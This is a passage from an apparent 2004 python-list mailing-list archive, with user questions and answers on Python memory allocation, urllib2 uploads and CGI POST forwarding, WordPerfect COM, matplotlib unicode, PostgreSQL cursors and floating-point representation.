M From benevilent at optusnet.com.au Mon Sep 20 01:53:15 2004 From: benevilent at optusnet.com.au (benevilent at optusnet.com.au) Date: Mon, 20 Sep 2004 15:53:15 +1000 Subject: memory allocation References: <pan.2004.09.19.11.21.21.129058@optusnet.com.au> <pan.2004.09.19.18.28.33.473150@optusnet.com.au> <mailman.3536.1095658533.5135.python-list@python.org> Message-ID: <pan.2004.09.20.05.53.15.48658@optusnet.com.au> Hey Tim, Thanks for the response. On Mon, 20 Sep 2004 01:35:31 -0400, Tim Peters wrote: [..] >> Hence as time goes by the memory required by the program increases >> (assuming increasing memory requirements of the application), and it will not >> dynamically expand and contract with the memory allocations/deallocations >> as you would expect with an ordinary program. Is my understanding of this >> correct? > > Possibly. I personally don't expect simplistic behavior from programs > that use only malloc and free, assuming that's what "an ordinary > program" intends to mean here. The relationship between the platform > malloc/free and "memory required by the program" is usually very > complex. Throwing pymalloc into the mix too makes it even more > complex. "memory required by the program" is ambiguous on its own on > machines with virtual memory, due to distinguishing between RAM in use > and paged-out virtual address space that's never referenced again. For this discussion I will refer to the virtual memory occupied by the program. > [... later ...] > >> Is it possible to change the memory allocation scheme of Python so that I >> can confirm this? > > You can build Python without pymalloc. I've never done that myself, > so am not sure how to do it. Could be that passing --with-pymalloc=no > would suffice. I have built with this option, but to no avail. I can provide a sample c program (which has it's virtual memory size expand and contract dynamically), and a similar python program for which this does not occur. From timr at probo.com Mon Sep 13 02:13:49 2004 From: timr at probo.com (Tim Roberts) Date: Sun, 12 Sep 2004 23:13:49 -0700 Subject: read all available pages on a Website References: <ci2qnl$2jq$1@solaris.cc.vt.edu> Message-ID: <pheak01mo1ti6usa1sl2a4g801bik9o5h8@4ax.com> Brad Tilley <bradtilley at usa.net> wrote: >Is there a way to make urllib or urllib2 read all of the pages on a Web >site? For example, say I wanted to read each page of www.python.org into >separate strings (a string for each page). The problem is that I don't >know how many pages are at www.python.org. How can I handle this? You have to parse the HTML to pull out all the links and images and fetch them, one by one. sgmllib can help with the parsing. You can multithread this, if performance in an issue. By the way, there are many web sites for which this sort of behavior is not welcome. -- - Tim Roberts, timr at probo.com Providenza & Boekelheide, Inc. From kwd at lawcomputing.com Fri Sep 3 12:31:04 2004 From: kwd at lawcomputing.com (Kendall Dugger) Date: 03 Sep 2004 12:31:04 EDT Subject: Python COM vs Visual Basic COM Message-ID: <41389DCD.33B3D0E4@lawcomputing.com> I have to use an ultra simple call to a couple of WordPerfect COM functions. This works in Visual Basic as follows: Dim objWP As Variant Dim DocSumString As Variant Set objWP = CreateObject("WordPerfect.PerfectScript") objWP.FileOpen "c:\zebra.wpd", 1 DocSumString = objWP.DocSumGet(18) Me!Text1 = DocSumString This opens a WordPerfect file and grabs the 'Descriptive Type' field from the document summary as a string. Pretty simple. Here is almost Identical Python Code: import win32com.client objWP = win32com.client.Dispatch("WordPerfect.PerfectScript") objWP.FileOpen("c:\\zebra.wpd", 1) DocSumString = objWP.DocSumGet(18) When I run it it gives me the following error: Traceback (most recent call last): File "C:/python_code/getdescriptivetype.py", line 3, in -toplevel- objWP.FileOpen("c:\\zebra.wpd", 1) File "C:\PYTHON23\Lib\site-packages\win32com\client\dynamic.py", line 484, in __getattr__ raise pythoncom.com_error, details com_error: (-2147352567, 'Exception occurred.', (61704, 'WPWIN10', 'Internal application error.', None, 0, 0), None) I am unable to decipher what this means and am at a loss for what to try next. I can write my application in Visual Basic if I have to, but I would much rather use Python. Any assistance will be greatly appreciated. Thanks, -Kendall From tungwaiyip at yahoo.com Thu Sep 2 12:37:03 2004 From: tungwaiyip at yahoo.com (Wai Yip Tung) Date: Thu, 02 Sep 2004 09:37:03 -0700 Subject: Tuple question References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> Message-ID: <opsdpkf1d5433nmu@news.cisco.com> I'm not sure what do you mean by index. But you can use len() to get the number of objects in a tuple. e.g. >>> t=(1,2,3) >>> len(t) 3 >>> t[2] 3 >>> > Hi, > > Why is that a tuple doesnt have the methods 'count' and 'index'? It > seems they could be present on a immutable object. > > I realise its easy enough to convert the tuple to a list and do this, > I'm just curious why it is neccesary.. > > > Thanks, > > Will McGugan From wzab at ipebio15.ise.pw.edu.pl Tue Sep 21 09:11:47 2004 From: wzab at ipebio15.ise.pw.edu.pl (Wojciech Zabolotny) Date: Tue, 21 Sep 2004 15:11:47 +0200 Subject: Unicode string in python-plplot? Message-ID: <Pine.LNX.4.21.0409211511130.14907-100000@ipebio15.ise.pw.edu.pl> On Mon, 20 Sep 2004, Fernando Perez wrote: > > You might want to try matplotlib. I don't specifically know about its unicode > support, but I'd guess it's either there or can be added if you point out > problems. Matplotlib is very actively developed, and has a really clean > interface which allows interactive and off-line plots, as well as being > available as a widget you can embed in your own Tk, GTK or WX apps. > Thanks a lot, it really was a good solution. I had some problems with unicode in matplotlib as well, however the essential was to select the proper unicode capable backend (GTK) BEFORE i imported the matlab emulation. Below is my code snippet (based on the matplotlib tutorial example) which succesfully displays unicode string: #!/usr/bin/python # -*- Encoding: iso-8859-2 -*- import matplotlib matplotlib.use('GTK') from matplotlib.matlab import * from matplotlib.font_manager import * p = FontProperties() font = {'fontname' : 'Lucida', 'color' : 'r', 'fontweight' : 'bold', 'fontsize' : 16} plot([1,2,3]) xlabel(u'nat??enie',font) ylabel(u'napi?cie',font) title(u'Wykres z polskimi literkami ?????????',font) show() Thank a lot, Wojtek Zabolotny From peter at engcorp.com Thu Sep 2 23:42:21 2004 From: peter at engcorp.com (Peter Hansen) Date: Thu, 02 Sep 2004 23:42:21 -0400 Subject: OT: DeviceNet via Python (was Re: It's in Python. It just _works_!) In-Reply-To: <4137b3ed$0$65570$a1866201@newsreader.visi.com> References: <4137b3ed$0$65570$a1866201@newsreader.visi.com> Message-ID: <9JmdnQgSR7k-eqrcRVn-sA@powergate.ca> Grant Edwards wrote: > A few months back I wrote a sort of a strip-chart recorder > program that talks DeviceNet to a measurement widget and plots ... Grant, could you say anything about what gadgets were involved that let you talk to DeviceNet with Python? Did it have a serial port, or talk TCP directly, or something else? -Peter From martin at v.loewis.de Sat Sep 4 12:02:56 2004 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Sat, 04 Sep 2004 18:02:56 +0200 Subject: Method returning new instance of class? In-Reply-To: <2ok_c.5453$Vl5.4469@newsread2.news.atl.earthlink.net> References: <4Jh_c.4378$Wv5.950@newsread3.news.atl.earthlink.net> <4139a87a$0$30204$9b622d9e@news.freenet.de> <2ok_c.5453$Vl5.4469@newsread2.news.atl.earthlink.net> Message-ID: <4139E730.4060203@v.loewis.de> Arthur wrote: > The app is graphical, and I use a Python extensions in C++ using the Boost > library (vpython, new version). My class instance has an attribute which is > a vpython object. Copy.copy doesn't get me where I need to be because my new > instance gets a reference to the same vpython object, and changes to it are > reflected in the original instance. [...] > > But do you see any reason why this might be? Certainly. copy.copy expects that each object follows a certain protocol for copying. Copying of certain types (including all classic classes) is build into copy.py. For newstyle classes and all other types, copying procedures must be registered with copy_reg. If a type is not registered with copy_reg, as a last fall back, the __reduce_ex__ and __reduce__ functions are invoked for the type. If not specifically overridden, they always return the original object. Regards, Martin From fuzzyman at gmail.com Mon Sep 13 06:18:16 2004 From: fuzzyman at gmail.com (Michael Foord) Date: 13 Sep 2004 03:18:16 -0700 Subject: File upload by urllib2 Message-ID: <6f402501.0409130218.2901e871@posting.google.com> Does anyone know how to do a 'file upload' using urllib2 ? There is an example of doing file upload using httplib - on activestate python cookbook. I have code that uses a request object to make requests using urllib2.urlopen (including cookie handling via ClientCookie) - which means it would be extremely incovenient (including probably not working without the cookie handling) to have to use httplib. It would also mean duplicating the code... I had thought of just adding the headers manually using add_header - but for multipart data we need boundaries and the suchlike...... Has anyone done this or know the right incantations to do it ? Regards, Fuzzy http://www.voidspace.org.uk/atlantibots/pythonutils.html From Brian.Inglis at SystematicSW.Invalid Thu Sep 2 04:30:21 2004 From: Brian.Inglis at SystematicSW.Invalid (Brian Inglis) Date: Thu, 02 Sep 2004 08:30:21 GMT Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <du7k6vfnvx9.fsf@amadeus.cc.tut.fi> <4134a207$0$65568$a1866201@newsreader.visi.com> <j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net> Message-ID: <86mdj05ucclb3tqjqgevum54o7k8jt2msq@4ax.com> On Tue, 31 Aug 2004 21:36:14 -0500 in alt.folklore.computers, rpw3 at rpw3.org (Rob Warnock) wrote: >Craig A. Finseth <news at finseth.com> wrote: >+--------------- >| Ville Vainio <ville at spammers.com> wrote: >| >... and / as path separator still screws up most of their cmd line >| >programs (which think / is for command line options). >| >Microsoft probably thought avoiding compatibility is a good idea, and >| >have only lately started to have some regrets... >| >| Wrong. The / was chosen as the command line option separator because >| whoever wrote MSDOS was looking to CP/M, who modelled their commands >| after a PDP-11 operating system (RT-11?). >+--------------- > >Which, like PS/8 & OS-8 [and "DECsystem-8" from Geordia Tech] for the >PDP-8, modelled the command syntax after that of the venerable PDP-10!! > >+--------------- >| Consider the "PIP" command. >+--------------- > >Indeed. And COPY & DEL & DIR, etc. But CP/M also derived from IBM VM CP(!) and CMS: mount a ... attach con/rdr/lst/pun ... It's been too long! -- Thanks. Take care, Brian Inglis Calgary, Alberta, Canada Brian.Inglis at CSi.com (Brian[dot]Inglis{at}SystematicSW[dot]ab[dot]ca) fake address use address above to reply From SBrunning at trisystems.co.uk Wed Sep 1 08:12:18 2004 From: SBrunning at trisystems.co.uk (SBrunning at trisystems.co.uk) Date: Wed, 1 Sep 2004 13:12:18 +0100 Subject: sys.stdin.readline() Message-ID: <9EED4A0E5EFBD811901100600846864D06107D@intrepid> > From: aleaxit at yahoo.com [mailto:aleaxit at yahoo.com] > > No, I think you're correctly observing that Python isn't oriented to > one-liners -- not at all. Most interesting things in Python require > more than one line. You could write a "oneliners shell" that > takes some > defined separator and turns it into a newline, of course, e.g.: > > bangoneliner.py: > #!/usr/bin/env python > import sys > oneliner = sys.argv.pop(1) > exec '\n'.join(oneliner.split('!')) Check out PyOne[1]. It's a somewhat more sophisticated implementation of this idea. Cheers, Simon B. simon at brunningonline.net http://www.brunningonline.net/simon/blog/ [1] http://www.unixuser.org/~euske/pyone/ ----------------------------------------------------------------------- The information in this email is confidential and may be legally privileged. It is intended solely for the addressee. Access to this email by anyone else is unauthorised. If you are not the intended recipient, any disclosure, copying, distribution, or any action taken or omitted to be taken in reliance on it, is prohibited and may be unlawful. TriSystems Ltd. cannot accept liability for statements made which are clearly the senders own. From ialbert at mailblocks.com Fri Sep 10 09:27:19 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Fri, 10 Sep 2004 09:27:19 -0400 Subject: Electronic voting feasibility In-Reply-To: <mailman.3140.1094820652.5135.python-list@python.org> References: <chr77a$4gj@odak26.prod.google.com> <-_CdnSvxZtZcPdzcRVn-iw@giganews.com> <mailman.3140.1094820652.5135.python-list@python.org> Message-ID: <otKdnctyIcclNtzcRVn-gg@giganews.com> Jaime Wyant wrote: > I think the negativity is well founded. http://www.blackboxvoting.org/ I was referring to the real voting not the real-electronic voting. I can't judge whether this site speaks the truths or not but their tone and style is very aggressive, steamrolling and manipulative. Read a few sites that argue that the world is flat or smoking is good for your health. Istvan. From tchur at optushome.com.au Tue Sep 21 00:01:14 2004 From: tchur at optushome.com.au (Tim Churches) Date: Tue, 21 Sep 2004 14:01:14 +1000 Subject: Twisted Matrix - The Motion Picture Message-ID: <200409210401.i8L41EPm008828@mail04.syd.optusnet.com.au> An embedded and charset-unspecified text was scrubbed... Name: not available URL: <http://mail.python.org/pipermail/python-list/attachments/20040921/298d6e93/attachment.ksh> From ed at leafe.com Sun Sep 26 08:28:10 2004 From: ed at leafe.com (Ed Leafe) Date: Sun, 26 Sep 2004 08:28:10 -0400 Subject: up with PyGUI! In-Reply-To: <Xns956FC698DBC7DOKB@130.133.1.4> References: <mailman.3318.1095180577.5135.python-list@python.org> <2rfnp6F19gkpkU1@uni-berlin.de> <4152D05B.9020909@zephyrfalcon.org> <2rhjmpF1at3kjU1@uni-berlin.de> <864d3709040924070115d9d98a@mail.gmail.com> <mailman.3855.1096035438.5135.python-list@python.org> <Xns956EDE04B1B03OKB@130.133.1.4> <mailman.3907.1096136449.5135.python-list@python.org> <Xns956F822D03E24OKB@130.133.1.4> <18A862E6-0F37-11D9-B926-003065B11E84@leafe.com> <864d370904092515311da67bb6@mail.gmail.com> <mailman.3917.1096163923.5135.python-list@python.org> <Xns956FC698DBC7DOKB@130.133.1.4> Message-ID: <86F69852-0FB7-11D9-B926-003065B11E84@leafe.com> On Sep 26, 2004, at 2:31 AM, OKB (not okblacke) wrote: > How am I supposed to know, just by looking at that, which > controls are in which sizers and what the relationship is between the > two sizers? I have to visually parse every single line -- not just the > creation of each widget, but also the line that adds it to a sizer. > And > there could easily be an inconsistency -- you might accidentally give a > widget a parent that's inconsistent with the sizer you add it to. With > a nested structure it becomes clear: > > class frame(wxFrame): > class sizer1(wxBoxSizer): > class button1(wxButton): > # name, size, etc. > class button2(wxButton): > # etc. > class panel(wxPanel): > class sizer2(wxBoxSizer): > class listBox1(wxComboBox): # etc. > class listBox2(wxComboBox): # etc. > class button3(wxButton): # etc. > class text(wxTextCtrl): # etc. Forgive me if this is an oversimplification, but it looks like what you want is an XML-based definition of your UI objects, and are trying to approximate that with Python syntax. What you've written looks an awful lot like an XRC file structure, albeit without the closing tags. In Dabo, our first attempt at creating a visual form designer was along the lines of PythonCard: place controls on their container, and resize/move them visually. Once we started to tackle nested containers, though, we abandoned that approach for the reasons you cited: it's simply too confusing to see what goes where. We are now working on adapting wxGlade to use Dabo classes, as that visually shows the nesting in a clear an unambiguous tree. Dabo would then know how to create the form from the XML, or, in the alternative, we would create Dabo code that the developer could then modify. The latter seems like it would have to be a one-way process, while keeping things in XML could allow for two-way editing. ___/ / __/ / ____/ Ed Leafe http://leafe.com/ http://dabodev.com/ From aleaxit at yahoo.com Sat Sep 25 13:47:24 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 25 Sep 2004 19:47:24 +0200 Subject: Python and Sybase References: <wVE4d.53$26.20@llslave.llan.ll.mit.edu> <mailman.3815.1095972439.5135.python-list@python.org> <1gkn9go.1d3dgwh4edmdrN%aleaxit@yahoo.com> <mailman.3905.1096130202.5135.python-list@python.org> Message-ID: <1gkopls.g4hts41uwsqauN%aleaxit@yahoo.com> Josh Close <narshe at gmail.com> wrote: > On Sat, 25 Sep 2004 01:09:05 +0200, Alex Martelli <aleaxit at yahoo.com> wrote: > > ...except that you may need to use different placeholders in SQL strings > > for parameters to insert (sigh)... > > Forgot about that.... I use sybase for mssql connections, and freetds > doesn't have support for params, so I forgot about that. No support for parameters?! Talk about junk...!-( Alex From me at privacy.net Tue Sep 21 23:17:26 2004 From: me at privacy.net (Richard Hanson) Date: Tue, 21 Sep 2004 20:17:26 -0700 Subject: Comparioson of purpose for PyGUI and AnyGUI ??? References: <a5415304.0409160644.41adea51@posting.google.com> <cicqq7$kra$2@news-reader4.wanadoo.fr> <cicsha$prl@odbk17.prod.google.com> <cid5as$u3j$1@news-reader2.wanadoo.fr> <cc887c1d.0409162041.1433bac1@posting.google.com> <pan.2004.09.18.07.53.35.276252@virgilio.it> <1gkb1xb.13ayfy1rayeymN%aleaxit@yahoo.com> <slrnckoabl.mb3.mlh@furu.idi.ntnu.no> <1gkbphs.l3eo2d1707mysN%aleaxit@yahoo.com> Message-ID: <rcr1l05n3fk3vt8j1cvvjf8s2r19ek2f8a@4ax.com> Alex Martelli wrote: > [...] Or does everybody in the world loathe Windows > programming so much they will only do it for financial gain?-) Or -- financial loss? :-p loading-RH9-tomorrow'ly y'rs, Richard Hanson -- sick<PERI0D>old<P0INT>fart<PIE-DEC0-SYMB0L>newsguy<MARK>com From rowen at cesmail.net Wed Sep 22 19:15:19 2004 From: rowen at cesmail.net (Russell E. Owen) Date: Wed, 22 Sep 2004 16:15:19 -0700 Subject: cross-platform menubar under Tkinter? Message-ID: <rowen-59D568.16151922092004@gnus01.u.washington.edu> Tk (and thus Tkinter) seems to offer the basics for making a menu bar for an app that looks reasonable on various platforms (Mac, unix, etc.). However, it's very low-level and before I reinvent the wheel, I wondered if anybody had code that already did the basics, such as: - figure out if one is on Mac, unix or Windows - add an "about" command to the appropriate menu (which varies depending on platform) - add an Edit menu with Cut/Copy/Paste whose entries actually do the right thing. and if so, whether I could have a look. Thanks, -- Russell From fuzzyman at gmail.com Wed Sep 22 04:27:42 2004 From: fuzzyman at gmail.com (Michael Foord) Date: 22 Sep 2004 01:27:42 -0700 Subject: POST from a CGI Message-ID: <6f402501.0409220027.65be4885@posting.google.com> I'm receiving POST data to a CGI, which I'd like to forward to another CGI using urllib2. I have two options - 1) Parse the data using cgi.FieldStorage() and then rebuild the POST request into a dictionary - including any files (? uploading files by urllib2 untested and undocumented - examples seem to be for httplib). 2) Read the whole POST data in using sys.stdin.read(), rebuild the 'Content-type' and 'Content-length' headers and make the POST. Obviously (2) is a *lot* less fiddly and less error prone. *But* I'm getting 400 errors when I try it (server thinks request is malformed). I've checked the headers and the body data and they seem normal and I can't work it out. I wonder if anyone can see what I'm doing wrong...... (Simple code shown first - then a straightforward example that ought to work and fails). MAXUPLOAD = 10000 # set max file size of 10 000 bytes txdata = None if os.environ.get('REQUEST_METHOD','').lower()=='post': # read in the POST data from stdin txdata = sys.stdin.read(MAXUPLOAD) if len(txdata)==MAXUPLOAD and sys.stdin.read(1): print overmax sys.exit(1) # print an error message if too big a file is uploaded envdict = { 'HTTP_CACHE_CONTROL' : 'Cache-control', 'CONTENT_TYPE' : 'Content-type', 'HTTP_ACCEPT_LANGUAGE' : 'Accept-language', 'HTTP_ACCEPT' : 'Accept', 'HTTP_PRAGMA' : 'Pragma', 'HTTP_CONNECTION' : 'Connection', } # these are request headers from the browser to the CGI # that we're going to rebuild from the environment variables defaultuseragent = 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)' # default User-agent txheaders = {} for envvar, header in envdict.items(): # go through the environment variables putting any headers back testval = os.environ.get(envvar) if testval: txheaders[header] = testval txheaders['User-agent'] = os.environ.get('HTTP_USER_AGENT', defaultuseragent) # put in a default user agent if we haven't got one if txdata and txheaders.has_key('Content-type'): txheaders['Content-length'] = str(len(txdata)) # we only need a 'Content-length' header if we have a 'Content-type' one... theurl = 'http://www.someserver.com/somepath/somepage.html' # In actual fact I normally decode the url from the PATH_INFO req = urllib2.Request(theurl, txdata, txheaders) # create the request object try: u = urllib2.urlopen(req) # fetch a handle on the url ! except IOError, e: if not hasattr(e,'code'): thecode = 0 else: thecode = e.code print 'Content-type: text/html' print '<HTML><BODY><H1>Error Code %s</H1></BODY></HTML>' % e.code info = u.info() # info about the url pagetype = info.gettype() print 'Content-type: ' + pagetype + '\n' print u.read() # print the received page ############################################################### In the code I actually use I make a logfile as well which logs txdata, txheaders and all the environment variables. Making a simple post to my guestbook ( http://www.voidspace.xennos.com/cgi-bin/guestbook.py ) using this method I get a 400 error. >From the log I can see the following headers : (printed using headername, ' : ', value) Connection : keep-alive Accept-language : en-gb Pragma : no-cache Cache-control : max-age=259200 Content-type : application/x-www-form-urlencoded Content-length : 62 Accept : image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */* User-agent : Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) And the following POST data : name=Fuzzyman&email=&homepage=&location=&comment=CGI+post+test Which even has a length of 62.... The only thing I can think of is that the headers are appearing in the wrong order ? Can anyone else see what I'm doing wrong ? Regards, Fuzzy http://www.voidspace.org.uk/atlantibots/pythonutils.html From clifford.wells at comcast.net Wed Sep 29 19:01:59 2004 From: clifford.wells at comcast.net (Cliff Wells) Date: Wed, 29 Sep 2004 16:01:59 -0700 Subject: help: pypgsql: this code works in Fedora core 1, Not in FC2 In-Reply-To: <c345ff6f.0409252341.65335c89@posting.google.com> References: <c345ff6f.0409252341.65335c89@posting.google.com> Message-ID: <1096498920.31570.34.camel@devilbox.devilnet.internal> On Sun, 2004-09-26 at 00:41 -0700, J Dubal wrote: > Hello good people, > > Following works in FC1 (python-2.2.3-7, postgresql-7.3.4-11, > kernel-2.4.22-1.2194.nptl, pyPgSQL-2.4) > > from pyPgSQL import PgSQL > conn = PgSQL.connect('localhost',database='rop') > loccur = conn.cursor() > loccur.execute("DECLARE itemcursor CURSOR FOR \ > SELECT * FROM locmf") > loccur.execute("FETCH ALL FROM itemcursor") > rec=loccur.fetchall() > print rec > > However, following errors are produced in FC2 (python-2.3.3-6, > postgresql-7.4.2-1, kernel-2.6.8-1.521, pyPgSQL-2.4): > > /usr/lib/python2.3/site-packages/pyPgSQL/PgSQL.py:2644: FutureWarning: > %u/%o/%x/%X of negative int will return a signed string in Python 2.4 > and up > name = "PgSQL_%08X" % id(self) > Traceback (most recent call last): > File "tt1.py", line 5, in ? > loccur.execute("DECLARE itemcursor CURSOR FOR \ > File "/usr/lib/python2.3/site-packages/pyPgSQL/PgSQL.py", line 3091, > in execute > self.res = self.conn.conn.query('FETCH 1 FROM "%s"' % self.name) > libpq.OperationalError: ERROR: cursor "PgSQL_F6F9906C" does not exist > > Out of this, the first error is produced by conn.cursor() statement. > > We have to use the "declare cursor" statement because we have to use > "fetch prior" statement later in the program. Is there a better way of > achiving this? > > Something seems to have changed either python or in postgresql that is > causing this error. Can someone provide a solution/workaround? Don't know if anything changed between the versions of the software you are using, but see http://www.postgresql.org/docs/current/static/sql-declare.html particularly the section on "WITH HOLD/WITHOUT HOLD" and the first paragraph in "Notes". I'm guessing that perhaps you aren't starting a new transaction before declaring the cursor and that perhaps pyPgSQL is autocommitting the DECLARE statement which would result in your declared cursor going out of scope. Try adding WITH HOLD or put your stuff inside of "BEGIN/COMMIT" statements. Regards, Cliff > Thanks in advance. > J Dubal. -- Cliff Wells <clifford.wells at comcast.net> From jeff at ccvcorp.com Fri Sep 24 16:29:58 2004 From: jeff at ccvcorp.com (Jeff Shannon) Date: Fri, 24 Sep 2004 13:29:58 -0700 Subject: [OT] "Pre-announcement" of Python-based "computing appliance" project. In-Reply-To: <du7d60bbhah.fsf@amadeus.cc.tut.fi> References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> <89adnWTWC6JVscncRVn-uw@giganews.com> <enp8l09sql1ikh98s530erp5b79hfpf14o@4ax.com> <du7d60bbhah.fsf@amadeus.cc.tut.fi> Message-ID: <10l90qcihqrjba1@corp.supernews.com> Ville Vainio wrote: >>>>>>"Richard" == Richard Hanson <me at privacy.net> writes: >>>>>> >>>>>> > > Richard> undecidable things left unsaid for now. It is a commonly > Richard> accepted thesis that the universe is evolving following > Richard> some, possibly ultimately unknowable, immutable set of > Richard> laws. Humans *do* seem to do > >Is it? For some reason or another, many seem to believe that quantum >mechanics provides some blissfull exit from the immutable set of laws >(and deterministic universe). It's a place where God throws dice every >time a particle hits another. > > Ah, but quantum mechanics are still a (supposedly) immutable set of laws -- they are nondeterministic laws, to be sure, but that doesn't prevent them from being laws. Quantum uncertainty follows a specific set of rules, even if we haven't figured out what all of those rules are, and even if those rules are expressed in probabilities. If one were to believe that the universe did not follow an immutable (or nearly so) set of laws, then one would also necessarily believe that science is pointless, since the purpose of science is to try to figure out the laws by which the universe operates. God may throw dice, but if we're careful we can reconstruct the rules of the game He's playing. :) Jeff Shannon Technician/Programmer Credit International From danb_83 at yahoo.com Fri Sep 24 13:25:13 2004 From: danb_83 at yahoo.com (Dan Bishop) Date: 24 Sep 2004 10:25:13 -0700 Subject: Why not FP for Money? References: <cc887c1d.0409202325.76ec2227@posting.google.com> <mailman.3775.1095939700.5135.python-list@python.org> <Xns956D83A8D1E7duncanrcpcouk@127.0.0.1> <mailman.3781.1095942759.5135.python-list@python.org> <civ705$4kl$1@panix1.panix.com> <mailman.3809.1095967700.5135.python-list@python.org> <1gkm1wt.1twm02s1cr3m7hN%aleaxit@yahoo.com> <7xk6ukw149.fsf@ruckus.brouhaha.com> <1gkm3u0.1s58vuhduaeN%aleaxit@yahoo.com> <7xpt4c3v3w.fsf@ruckus.brouhaha.com> Message-ID: <ad052e5c.0409240925.50e21e44@posting.google.com> Paul Rubin <http://phr.cx at NOSPAM.invalid> wrote in message news:<7xpt4c3v3w.fsf at ruckus.brouhaha.com>... > aleaxit at yahoo.com (Alex Martelli) writes: > > yep, str(35.72) == '35.72'. > > Hmm. > > >>> 35.72 > 35.719999999999999 > > I wonder why str(35.72) is different from repr(35.72). Because str and repr have different purposes. repr(x) is meant to provide enough information to re-create x, so all float values must be distinguished from each other. This requires at least 17 significant digits, so repr(x) == '%.17g' % x. str(x), however, is meant to return a "nice" string representation, and so it only uses '%.12g' % x (ignoring 5 "noise" digits at the end of repr(x)). From aleaxit at yahoo.com Sat Sep 4 05:00:29 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 4 Sep 2004 11:00:29 +0200 Subject: namespace question References: <OAFZc.303096$gE.251089@pd7tw3no> <mailman.2771.1094136818.5135.python-list@python.org> <hMSZc.304491$J06.262979@pd7tw2no> Message-ID: <1gjjyxr.1swyyfqqdcxr0N%aleaxit@yahoo.com> Elaine Jackson <elainejackson7355 at home.com> wrote: > It's what I want in the sense that it returns the correct dictionary when > globals is invoked interactively. What I want is to have a function that > can be > imported into the interpreter and that will return that same dictionary. so what's wrong with: def main_dictionary(): import __main__ return vars(__main__) ??? From piet at cs.uu.nl Tue Sep 28 06:58:23 2004 From: piet at cs.uu.nl (Piet van Oostrum) Date: Tue, 28 Sep 2004 12:58:23 +0200 Subject: floating point glitch References: <415295E6.9040602@ericsson.com> <l5ncl0horoifsmbadp6pu3sgje8ca2srf3@4ax.com> <cj5v5i$7vk$1@pegasus.csx.cam.ac.uk> <7xhdple624.fsf@ruckus.brouhaha.com> <kj0il0ddfqg7tebggk6qbnm6cvp5jumt87@4ax.com> <m2lleusrgo.fsf@mycroft.actrix.gen.nz> <7xis9yoilc.fsf@ruckus.brouhaha.com> <wz3c12k9hv.fsf@ordesa.cs.uu.nl> <7xr7omg113.fsf@ruckus.brouhaha.com> Message-ID: <wzekkmlkxc.fsf@ordesa.cs.uu.nl> >>>>> Paul Rubin <http://phr.cx at NOSPAM.invalid> (PR) wrote: PR> Piet van Oostrum <piet at cs.uu.nl> writes: PR> Nah, you can do that by printing everything as zero. >> >> That would not maintain print/read consistency, i.e. if you read back the >> printed value you don't get the original value. PR> The current conversion doesn't have that property. >>>> a=.66+1e-13 >>>> print a PR> 0.66 >>>> b=0.66 >>>> a==b PR> False That's because print uses str rather than repr: >>> a=.66+1e-13 >>> a 0.66000000000010006 >>> print `a` 0.66000000000010006 >>> b=0.66000000000010006 >>> a==b True -- Piet van Oostrum <piet at cs.uu.nl> URL: http://www.cs.uu.nl/~piet [PGP] Private email: P.van.Oostrum at hccnet.nl From danperl at rogers.com Tue Sep 28 16:43:19 2004 From: danperl at rogers.com (Dan Perl) Date: Tue, 28 Sep 2004 16:43:19 -0400 Subject: "False exceptions?" (was Re: theme of the week: tools References: <mailman.3802.1095960335.5135.python-list@python.org> <QcudnRef363plc7cRVn-vg@powergate.ca> <41542230.3070808@bellsouth.net> <mailman.3864.1096040439.5135.python-list@python.org> <mfydnUd5Idex1srcRVn-pQ@rogers.com> <tpudnXILROwO88rcRVn-sw@powergate.ca> <mailman.3947.1096250696.5135.python-list@python.org> <kdWdndU_KZvAFcrcRVn-gQ@rogers.com> <4157FD67.80404@holdenweb.com> <efidneft_NO8p8XcRVn-tQ@rogers.com> <mailman.3996.1096354841.5135.python-list@python.org> <Ku-dnW4Ddq1O_cTcRVn-tw@rogers.com> <87mzzakuqr.fsf@pobox.com> Message-ID: <UOKdnec4de52UcTcRVn-oA@rogers.com> "John J. Lee" <jjl at pobox.com> wrote in message news:87mzzakuqr.fsf at pobox.com... > "Dan Perl" <danperl at rogers.com> writes: >> My "nagging" on the false positives is mostly on the spin that Wingware >> puts >> in their explanations. It's one thing to explain it the way that Stephan >> did, that it was better to offer something imperfect if that was also >> providing some important advantages and then also offer the other >> alternative ("We weighed having a necessarily imperfect but useful >> feature >> with not having the feature at all."). And it's another thing to insist >> that this is not a problem and it is actually good for you. This doesn't >> seem to bother other people as much as it bothered me, but I do have a >> beef >> with it. > > Dan, I suspect that (though perhaps their marketing may have room for > improvement here ;-) there may have been an unstated assumption on the > part of the Wing IDE people that, "obviously", the false-positives > issue is only a "nit" if one has a hard debugging problem on one's > hands, and that "obviously", one turns this feature off under all > other circumstances. Not necessarily obvious at all, of course. > > Perhaps, like many of the rest of us, they only wheel out their > debugger when they hit a really *nasty* problem, so the exception > issue simply never arises as anything other than a minor wart in what > I can see could be a very handy feature. That would explain why this > feature is on by default. Another explanation is that it's turned on > by default just to advertise the feature -- if you don't bump into it > like this, you might never realise it existed. If Stephan is still reading this thread he may contradict this, but my suspicion is that your last explanation is the real one. Such an approach can also backfire like it did in my case. > John From bdesth.quelquechose at free.quelquepart.fr Fri Sep 24 05:23:45 2004 From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers) Date: Fri, 24 Sep 2004 11:23:45 +0200 Subject: good way to do side effects on lists? In-Reply-To: <44qdnTS-mqa0wM7cRVn-rg@giganews.com> References: <415208a1$1_4@news3.es.net> <cit221$a33$1@pegasus.csx.cam.ac.uk> <85bc2819.0409230702.2a5c4ab5@posting.google.com> <4153315a$0$17453$636a15ce@news.free.fr> <44qdnTS-mqa0wM7cRVn-rg@giganews.com> Message-ID: <4153df0a$0$9203$626a14ce@news.free.fr> Istvan Albert wrote: > bruno modulix wrote: > >> Dont assume, test !-) > > > Here is what I 